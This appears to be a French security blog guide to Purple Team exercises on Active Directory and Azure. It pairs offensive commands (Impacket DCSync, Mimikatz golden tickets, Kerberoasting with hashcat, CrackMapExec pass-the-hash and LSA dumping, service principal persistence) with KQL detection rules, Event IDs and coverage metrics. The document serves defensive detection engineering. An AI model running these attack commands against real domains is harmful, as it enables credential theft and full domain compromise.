Les exercices Purple Team combinent l'émulation d'adversaire Red Team et la détection Blue Team en temps réel sur des environnements Active Directory et Cloud. En 2026, les référentiels TIBER-EU et les frameworks MITRE ATT&CK imposent des scénarios structurés — DCSync, Golden Ticket, Kerberoasting, OAuth abuse — mesurés par des métriques TTD/TTR exploitables.

Les exercices purple team AD cloud 2026 ne sont plus réservés aux équipes de grandes organisations. Depuis l'adoption de TIBER-EU par la BCE et la transposition de NIS 2 en droit français, les opérateurs d'importance vitale et les entités essentielles doivent documenter leur capacité de détection face aux techniques d'attaque réelles. La purple team exercices AD cloud 2026 s'impose comme le cadre le plus efficace : Red Team et Blue Team travaillent ensemble, en temps réel, sur des scénarios inspirés de groupes APT actifs. BloodHound cartographie les chemins d'attaque dans Active Directory, Impacket exécute les techniques d'exploitation, pendant que Microsoft Defender for Identity et Sentinel enregistrent — ou ratent — les alertes. Atomic Red Team permet de rejouer chaque technique de manière unitaire et reproductible. Le résultat : une heatmap MITRE ATT&CK avec les techniques couvertes, un TTD moyen mesurable, et un backlog de règles de détection priorisé par impact. Ce guide couvre l'intégralité du cycle, des rôles aux commandes concrètes.

À retenir

  • DCSync : Impacket secretsdump exploite les droits de réplication AD — détectable via Event ID 4662 avec GUID de schéma de réplication {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}.
  • Golden Ticket : Mimikatz forge un TGT Kerberos valide 10+ ans — la détection repose sur Event 4769 avec des durées de ticket anormales et l'absence de TGT préalable dans les logs.
  • MITRE ATT&CK Navigator : La heatmap de couverture identifie les angles morts de détection — exporter en JSON permet d'alimenter directement le backlog SecOps.
  • Atomic Red Team : Chaque test atomique correspond à une technique ATT&CK précise — l'exécution unitaire permet de valider une règle SIEM sans compromettre l'ensemble de l'environnement.
  • Métriques TTD/TTR : Time to Detect et Time to Respond mesurent l'efficacité opérationnelle — un exercice Purple Team sans métriques ne produit que des anecdotes, pas des améliorations.

Structure d'un exercice Purple Team : rôles et organisation

Un exercice Purple Team structuré repose sur trois fonctions distinctes, jamais sur une équipe unique qui joue les deux rôles simultanément. L'Adversary Emulation Lead (Red Team) exécute les techniques d'attaque selon un plan de campagne validé. Le Detection Engineer (Blue Team) monitore les outils SIEM/EDR en temps réel et documente chaque alerte — ou son absence. Le Threat Intelligence Analyst sélectionne les techniques à tester en fonction des groupes APT pertinents pour le secteur, en s'appuyant sur les rapports CERT-FR et les données CTI disponibles.

La différence fondamentale avec un test de pénétration classique : le Blue Team sait qu'une attaque est en cours. L'objectif n'est pas de tester la furtivité Red Team, mais de mesurer la capacité de détection Blue Team face à des techniques réelles. Chaque technique est exécutée, observée, discutée — puis les gaps de détection sont documentés immédiatement.

Pour aller plus loin sur la méthodologie globale, consultez notre guide Purple Team : Méthodologie et Exercices Collaboratifs.

TTX vs simulation live : quand choisir quoi ?

Le Tabletop Exercise (TTX) est une discussion structurée autour d'un scénario hypothétique. Aucune commande n'est exécutée. L'équipe de direction, le RSSI, les équipes SOC et juridiques parcourent collectivement un scénario : "Un attaquant a compromis un compte VPN avec un mot de passe faible — que se passe-t-il ensuite ?". Le TTX identifie les gaps de processus, les chaînes d'escalade manquantes, les playbooks inexistants. Durée typique : 4 heures. Coût faible, valeur élevée pour les équipes managériales.

La simulation live implique l'exécution réelle des techniques d'attaque sur un environnement de production ou de staging représentatif. Impacket tourne, les événements Windows sont générés, Sentinel reçoit les logs — ou ne les reçoit pas. La simulation live révèle les gaps techniques : règles KQL manquantes, agents MDI non déployés, couverture de journalisation incomplète. Elle ne remplace pas le TTX mais le complète.

CritèreTTXSimulation live
Risque environnementNulFaible à modéré (selon périmètre)
Durée typique4-8 heures2-5 jours
Compétences requisesAnimateur + décideursRed Team + Blue Team techniques
Output principalGaps de processus et gouvernanceGaps de détection techniques
Fréquence recommandéeTrimestrielleSemestrielle
Conformité TIBER-EUPartielleComplète

Cartographie AD avec BloodHound CE : trouver les chemins d'attaque

BloodHound Community Edition est le point de départ de tout exercice Purple Team sur Active Directory. SharpHound collecte les relations entre objets AD (utilisateurs, groupes, GPO, ACL, trusts) et les charge dans une base Neo4j. La requête Cypher suivante identifie tous les chemins vers Domain Admins en moins de 5 sauts :

# Collecte SharpHound depuis un poste Windows joint au domaine
./SharpHound.exe -c All --zipfilename bloodhound_$(date +%Y%m%d).zip

# Import dans BloodHound CE (version conteneur)
docker run -p 8080:8080 -p 7474:7474 -p 7687:7687   specterops/bloodhound-oss:latest

# Requête Cypher — chemins vers Domain Admins (max 5 sauts)
MATCH p=shortestPath((u:User)-[*1..5]->(g:Group {name:"DOMAIN [email protected]"}))
WHERE u.enabled = true
RETURN p LIMIT 25

BloodHound génère automatiquement les "Finding Paths" — les chemins d'attaque les plus critiques. En 2026, l'interface BloodHound CE intègre un scoring de risque basé sur la probabilité d'exploitation. La documentation officielle est disponible sur BloodHound Community Edition docs.

Pour une analyse complète des techniques AD exploitées, voir notre article Top 10 des Attaques Active Directory.

Scénario 1 — DCSync avec Impacket : exécution et détection

L'attaque DCSync exploite le protocole MS-DRSR (Directory Replication Service Remote Protocol) pour demander la réplication des secrets d'un compte cible, sans accès physique au contrôleur de domaine. Prérequis : le compte attaquant doit posséder les droits DS-Replication-Get-Changes et DS-Replication-Get-Changes-All.

# DCSync ciblé sur le compte krbtgt (Impacket)
python3 secretsdump.py CORP/svc_backup:'P@ssw0rd!'@10.0.0.10   -just-dc-user krbtgt   -outputfile /tmp/dcsync_output

# DCSync complet (tous les comptes) — génère du bruit détectable
python3 secretsdump.py CORP/svc_backup:'P@ssw0rd!'@10.0.0.10   -just-dc-ntlm   -outputfile /tmp/all_hashes

# Vérification des droits de réplication depuis BloodHound
# Ou via PowerShell AD
Get-ADObject -Identity (Get-ADDomain).DistinguishedName   -Properties * | Select-Object -ExpandProperty nTSecurityDescriptor

Détection Blue Team — Event ID 4662 avec les propriétés d'accès suivantes :

  • Object Type : domainDNS
  • Accesses : DS-Replication-Get-Changes-All
  • GUID : {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} et {1131f6ab-9c07-11d1-f79f-00c04fc2dcd2}

Règle KQL Sentinel pour détecter DCSync :

SecurityEvent
| where EventID == 4662
| where ObjectType has "domainDNS"
| where Properties has "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"
    or Properties has "1131f6ab-9c07-11d1-f79f-00c04fc2dcd2"
| where SubjectUserName !endswith "$"  // Exclure les DCs légitimes
| project TimeGenerated, SubjectUserName, SubjectDomainName, IpAddress
| order by TimeGenerated desc

Microsoft Defender for Identity déclenche une alerte "Suspected DCSync attack" nativement — mais uniquement si l'agent MDI est déployé sur tous les contrôleurs de domaine. Un DC sans agent MDI est un angle mort complet.

Scénario 2 — Golden Ticket et Kerberoasting : forge et extraction

Le Golden Ticket forge un TGT (Ticket Granting Ticket) Kerberos signé avec le hash NTLM du compte krbtgt, récupéré via DCSync. Le ticket est valide pour n'importe quel utilisateur, n'importe quel service, avec n'importe quelle durée.

# Mimikatz — forge du Golden Ticket
# Prérequis : hash NTLM de krbtgt, SID du domaine
mimikatz # kerberos::golden /user:Administrator   /domain:corp.local   /sid:S-1-5-21-3462823520-1234567890-987654321   /krbtgt:a9bdea68f77b5f4a3e5de6a09c789d52   /ticket:golden.kirbi   /endin:99999

# Injection du ticket en mémoire
mimikatz # kerberos::ptt golden.kirbi

# Vérification — accès à \DC01\C$ avec le ticket forgé
dir \DC01\C$

Détection Golden Ticket — Event ID 4769 (Kerberos Service Ticket Operations) avec anomalies :

  • Ticket Encryption Type : 0x17 (RC4-HMAC) sur un domaine configuré pour AES256
  • Ticket Lifetime supérieure à 10 heures (golden tickets Mimikatz par défaut : 99999 minutes)
  • Absence d'Event 4768 (TGT Request) corrélé dans la même session

Kerberoasting — extraction de TGS pour des comptes avec SPN :

# GetUserSPNs.py — liste les comptes avec SPN
python3 GetUserSPNs.py CORP/user1:'Password1'@10.0.0.10 -dc-ip 10.0.0.10

# Extraction des tickets TGS (format Hashcat)
python3 GetUserSPNs.py CORP/user1:'Password1'@10.0.0.10   -dc-ip 10.0.0.10 -outputfile /tmp/tgs_hashes.txt -request

# Hashcat — crackage des tickets RC4
hashcat -m 13100 /tmp/tgs_hashes.txt /usr/share/wordlists/rockyou.txt   --rules-file /usr/share/hashcat/rules/best64.rule

La détection Kerberoasting repose sur Event 4769 avec un volume anormal de requêtes RC4 pour des comptes de service. Un seul compte demandant des TGS pour 10 SPNs différents en 30 secondes est statistiquement anormal. MDI détecte nativement le Kerberoasting depuis la version 2.226.

Pour les techniques de délégation Kerberos avancées, voir RBCD Abuse : Délégation Contrainte Active Directory.

Scénario 3 — Pass-the-Hash avec CrackMapExec

Pass-the-Hash exploite l'authentification NTLM pour s'authentifier avec le hash d'un compte sans connaître le mot de passe en clair. CrackMapExec automatise le mouvement latéral en testant un hash sur un sous-réseau entier.

# Vérification d'accès admin local via PtH sur le réseau 10.0.1.0/24
crackmapexec smb 10.0.1.0/24   -u Administrator   -H a9bdea68f77b5f4a3e5de6a09c789d52   --local-auth   --continue-on-success

# Exécution de commandes sur les cibles avec accès admin
crackmapexec smb 10.0.1.0/24   -u Administrator   -H a9bdea68f77b5f4a3e5de6a09c789d52   --local-auth   -x "whoami /all"

# Extraction de secrets LSA sur les cibles compromises
crackmapexec smb 10.0.1.10   -u Administrator   -H a9bdea68f77b5f4a3e5de6a09c789d52   --local-auth   --lsa

Détection PtH : Event ID 4624 avec Logon Type 3 (réseau) et Authentication Package NTLM alors que le domaine est configuré pour Kerberos. Microsoft Defender for Endpoint génère une alerte "Pass-the-hash attack" nativement. La mitigation principale reste LAPS (Local Administrator Password Solution) qui empêche la réutilisation du même hash admin local sur l'ensemble du parc.

Scénarios Cloud : OAuth Consent Grant Abuse et Service Principal

Les exercices Purple Team en environnement Azure ciblent deux techniques fréquemment utilisées par les groupes APT ciblant Microsoft 365 : l'abus de consentement OAuth et la persistance via Service Principal.

OAuth Consent Grant Abuse — une application malveillante demande des permissions Mail.Read ou User.Read.All et un utilisateur clique "Accepter" :

# PowerShell — liste des consentements OAuth suspects (permissions élevées)
Connect-AzureAD
Get-AzureADServicePrincipal -All $true | ForEach-Object {
    $sp = $_
    Get-AzureADServiceAppRoleAssignment -ObjectId $sp.ObjectId | Where-Object {
        $_.PrincipalType -eq "User"
    } | Select-Object @{n="App";e={$sp.DisplayName}}, PrincipalDisplayName, CreationTimestamp
} | Sort-Object CreationTimestamp -Descending | Select-Object -First 20

# Détection via Microsoft Sentinel — Unified Audit Log
OfficeActivity
| where Operation == "Consent to application"
| where ResultStatus == "Success"
| project TimeGenerated, UserId, AppId, ApplicationDisplayName
| order by TimeGenerated desc

Service Principal Persistence — ajout d'un secret sur un Service Principal existant pour maintenir un accès :

# Simulation — ajout d'un secret sur un SP (technique APT Midnight Blizzard)
az ad sp credential reset --id    --append --display-name "backup-key-2026"

# Détection via Entra ID Sign-in Logs
SigninLogs
| where AppDisplayName == "Microsoft Graph"
| where ServicePrincipalName != ""
| where ResultType == 0
| summarize count() by ServicePrincipalName, IPAddress, bin(TimeGenerated, 1h)
| where count_ > 10
| order by count_ desc

Pour les techniques de threat hunting sur Microsoft 365, notre article Threat Hunting Microsoft 365 Sentinel couvre les requêtes KQL avancées.

MITRE ATT&CK Navigator : construire la heatmap de couverture

Le MITRE ATT&CK Navigator permet de visualiser quelles techniques sont couvertes par les contrôles de détection en place. La heatmap résultante est l'output le plus actionnable d'un exercice Purple Team : elle identifie immédiatement les angles morts.

{
  "name": "Purple Team Q2 2026 — CORP AD",
  "versions": {"attack": "16", "navigator": "5.1.0", "layer": "4.5"},
  "domain": "enterprise-attack",
  "description": "Coverage matrix post-exercice Purple Team — Juillet 2026",
  "filters": {"platforms": ["Windows", "Azure AD"]},
  "techniques": [
    {
      "techniqueID": "T1003.006",
      "tactic": "credential-access",
      "color": "#ff6666",
      "comment": "DCSync — détecté via MDI + Event 4662. TTD: 4min",
      "enabled": true,
      "score": 2
    },
    {
      "techniqueID": "T1558.001",
      "tactic": "credential-access",
      "color": "#ffaa00",
      "comment": "Golden Ticket — détection partielle, gap: corrélation 4768/4769",
      "enabled": true,
      "score": 1
    },
    {
      "techniqueID": "T1558.003",
      "tactic": "credential-access",
      "color": "#ff6666",
      "comment": "Kerberoasting — MDI alert déclenché. TTD: 7min",
      "enabled": true,
      "score": 2
    }
  ]
}

Le code couleur standard : rouge (#ff6666) = technique détectée, orange (#ffaa00) = détection partielle, blanc = angle mort. Exporter le layer JSON permet de le versionner dans Git et de suivre la progression de la couverture d'un exercice à l'autre. Le framework est accessible sur MITRE ATT&CK.

Atomic Red Team : tests unitaires de détection

Atomic Red Team (Red Canary) fournit des tests unitaires pour chaque technique ATT&CK. Chaque "atomic" est une commande minimale, reproductible, qui génère exactement les artefacts nécessaires à la validation d'une règle de détection — sans compromettre l'environnement complet. La bibliothèque est disponible sur GitHub (redcanaryco/atomic-red-team).

# Installation Invoke-AtomicRedTeam
Install-Module -Name invoke-atomicredteam -Scope CurrentUser -Force
Import-Module invoke-atomicredteam

# Test T1003.001 — LSASS Memory Dump (détection EDR/Defender)
Invoke-AtomicTest T1003.001 -TestNumbers 1

# Test T1558.003 — Kerberoasting via Rubeus
Invoke-AtomicTest T1558.003 -TestNumbers 1

# Test T1003.006 — DCSync (nécessite un compte avec droits de réplication)
Invoke-AtomicTest T1003.006 -TestNumbers 1

# Cleanup après chaque test
Invoke-AtomicTest T1003.001 -TestNumbers 1 -Cleanup

# Liste tous les atomics disponibles pour Windows
Invoke-AtomicTest T1003 -ShowDetailsBrief

L'intégration avec Velociraptor permet de collecter automatiquement les artefacts forensiques après chaque atomic test, en corrélant le timestamp d'exécution avec les événements Windows générés. Pour les approches IA dans la cyber-défense, voir Agents IA pour la Cyber-Défense et le Threat Hunting.

Comment mesurer l'efficacité d'un exercice Purple Team ?

Un exercice Purple Team sans métriques ne produit que des anecdotes. Les trois métriques fondamentales :

Time to Detect (TTD) : délai entre l'exécution d'une technique et la génération d'une alerte dans le SIEM. Se mesure en minutes. Un TTD supérieur à 30 minutes pour une technique active comme DCSync indique un problème critique de couverture de journalisation ou de latence d'ingestion des logs.

Time to Respond (TTR) : délai entre la génération de l'alerte et l'action de l'analyste SOC (isolation, blocage, escalade). Le TTR mesure l'efficacité des playbooks et la charge de travail du SOC.

Detection Coverage Rate : pourcentage des techniques exécutées ayant généré au moins une alerte. Un exercice de 20 techniques avec 14 alertes = 70% de couverture. L'objectif 2026 pour un SOC mature : >85% sur les techniques T1 (criticité maximale).

#!/usr/bin/env python3
# Calcul métriques Purple Team depuis les données d'exercice
import json
from datetime import datetime, timedelta

exercice_data = [
    {
        "technique": "T1003.006",
        "name": "DCSync",
        "execution_time": "2026-07-10T09:15:00",
        "alert_time": "2026-07-10T09:19:00",
        "response_time": "2026-07-10T09:31:00",
        "detected": True,
        "criticality": "T1"
    },
    {
        "technique": "T1558.001",
        "name": "Golden Ticket",
        "execution_time": "2026-07-10T10:30:00",
        "alert_time": None,
        "response_time": None,
        "detected": False,
        "criticality": "T1"
    }
]

detected = [t for t in exercice_data if t["detected"]]
coverage = len(detected) / len(exercice_data) * 100

ttd_values = []
for t in detected:
    if t["alert_time"]:
        exec_t = datetime.fromisoformat(t["execution_time"])
        alert_t = datetime.fromisoformat(t["alert_time"])
        ttd_values.append((alert_t - exec_t).seconds / 60)

avg_ttd = sum(ttd_values) / len(ttd_values) if ttd_values else 0

print(f"Coverage: {coverage:.1f}%")
print(f"TTD moyen: {avg_ttd:.1f} minutes")
print(f"Techniques non détectées:")
for t in exercice_data:
    if not t["detected"]:
        print(f"  - {t['technique']} ({t['name']}) [criticité: {t['criticality']}]")

Template de rapport d'exercice Purple Team

Chaque finding doit suivre un format standardisé pour être exploitable par les équipes SOC et le management. Le template ci-dessous correspond au format recommandé par l'ANSSI dans ses guides Purple Team (cyber.gouv.fr) :

{
  "finding_id": "PT-2026-003",
  "title": "Absence de détection Golden Ticket — durée de ticket anormale",
  "ttp": "T1558.001",
  "tactic": "Credential Access",
  "severity": "Critique",
  "execution_details": {
    "tool": "Mimikatz kerberos::golden",
    "account_used": "krbtgt hash (via DCSync préalable)",
    "ticket_lifetime": "99999 minutes",
    "target": "\\DC01\C$"
  },
  "detection_result": {
    "detected": false,
    "alert_generated": null,
    "detection_gap": "Absence de règle corrélant Event 4769 avec durée de ticket > 10h ET absence d'Event 4768 corrélé"
  },
  "recommendation": {
    "short_term": "Créer règle KQL Sentinel — Event 4769 avec TicketOptions incluant lifetime > 600min",
    "long_term": "Déployer Microsoft Defender for Identity sur tous les DCs — alerte native Golden Ticket disponible depuis MDI 2.226",
    "priority": "P1 — à traiter sous 72h"
  },
  "kql_remediation": "SecurityEvent | where EventID == 4769 | extend TicketLifetime = extract('Ticket Lifetime: (\\d+)', 1, EventData) | where toint(TicketLifetime) > 600"
}

Ce format JSON peut être directement importé dans Jira, Azure DevOps ou un backlog SecOps pour priorisation et suivi. Un exercice de 20 techniques génère en moyenne 8-12 findings actionnables.

Quels outils Blue Team sont indispensables en 2026 ?

La stack Blue Team minimale pour un exercice Purple Team AD/Cloud en 2026 combine quatre outils complémentaires :

Microsoft Defender for Identity (MDI) : analyse le trafic Kerberos et LDAP sur les contrôleurs de domaine. Détecte nativement DCSync, Golden Ticket, Kerberoasting, LDAP Reconnaissance, Password Spray. Prérequis : agent MDI sur tous les DCs, y compris les DCs de sites distants.

Microsoft Sentinel : agrège les événements Windows, les logs Entra ID, Office 365 et les alertes MDI. Les règles analytiques intégrées (Microsoft Security Research) couvrent la majorité des techniques ATT&CK Windows. L'ingestion des Security Events nécessite le connecteur Windows Security Events via AMA.

Velociraptor : framework de réponse à incident et forensics distribué. Permet de collecter des artefacts précis (prefetch, MFT, événements EVTX) sur des hôtes ciblés en quelques secondes, sans agent pré-déployé via WinRM. Particulièrement utile pour valider l'impact d'un atomic test après coup.

Elastic SIEM : alternative open-source à Sentinel pour les environnements sans Azure. Les règles de détection Elastic (Elastic Security Labs) sont disponibles publiquement et couvrent les mêmes techniques ATT&CK. L'intégration avec Auditbeat et Winlogbeat permet une collecte granulaire.

Questions fréquentes

Quelle est la différence entre un exercice Purple Team et un Red Team classique ?

Un Red Team classique opère en mode furtif, sans que le Blue Team sache qu'une attaque est en cours — l'objectif est de tester la détection en conditions réelles. Un exercice Purple Team est collaboratif : Red Team et Blue Team travaillent ensemble, technique par technique, pour identifier et corriger les gaps de détection immédiatement. Le Purple Team est plus efficace pour améliorer la couverture SIEM ; le Red Team teste la résilience globale.

Combien de temps faut-il pour organiser un premier exercice Purple Team ?

Un premier exercice sur 10-15 techniques AD nécessite 3 à 4 semaines de préparation : 1 semaine pour le scoping et la sélection des TTPs avec le Threat Intelligence, 1 semaine pour la préparation de l'environnement (collecte BloodHound, validation des outils Red Team, activation des sources de logs SIEM), puis 2-3 jours d'exécution en atelier. La rédaction du rapport prend 1 semaine supplémentaire.

Les exercices Purple Team s'appliquent-ils aux environnements Cloud uniquement Azure ?

Non — les techniques Cloud couvrent AWS, Azure et GCP. En AWS, les scénarios courants incluent l'abus d'IAM Role avec sts:AssumeRole, le vol de clés d'accès via les métadonnées d'instances EC2 (IMDS), et la persistance via Lambda. Pacu (framework d'exploitation AWS) est l'équivalent d'Impacket pour les environnements AWS. Les techniques MITRE ATT&CK Cloud (IaaS, SaaS, Azure AD) sont documentées sur la plateforme ATT&CK.

Comment prioriser les techniques à tester lors d'un exercice Purple Team ?

La priorisation combine deux sources : les techniques utilisées par les groupes APT ciblant le secteur d'activité (données CERT-FR, rapports Mandiant/CrowdStrike) et les angles morts identifiés dans la dernière heatmap MITRE ATT&CK Navigator. Les techniques T1 de criticité maximale (vol de credentials, mouvement latéral, persistance) sont testées en priorité. Pour un premier exercice, DCSync, Kerberoasting et Pass-the-Hash constituent un socle de base représentatif.

Quel budget prévoir pour un exercice Purple Team externalisé ?

Un exercice Purple Team externalisé sur 20 techniques AD + Cloud en France coûte entre 15 000 et 35 000 euros HT selon la maturité de l'environnement et le nombre de jours. Les exercices TTX seuls sont moins coûteux (5 000-10 000 euros). L'investissement se justifie par la réduction du TTD et l'amélioration du taux de couverture SIEM, mesurables avant/après exercice avec des métriques objectives.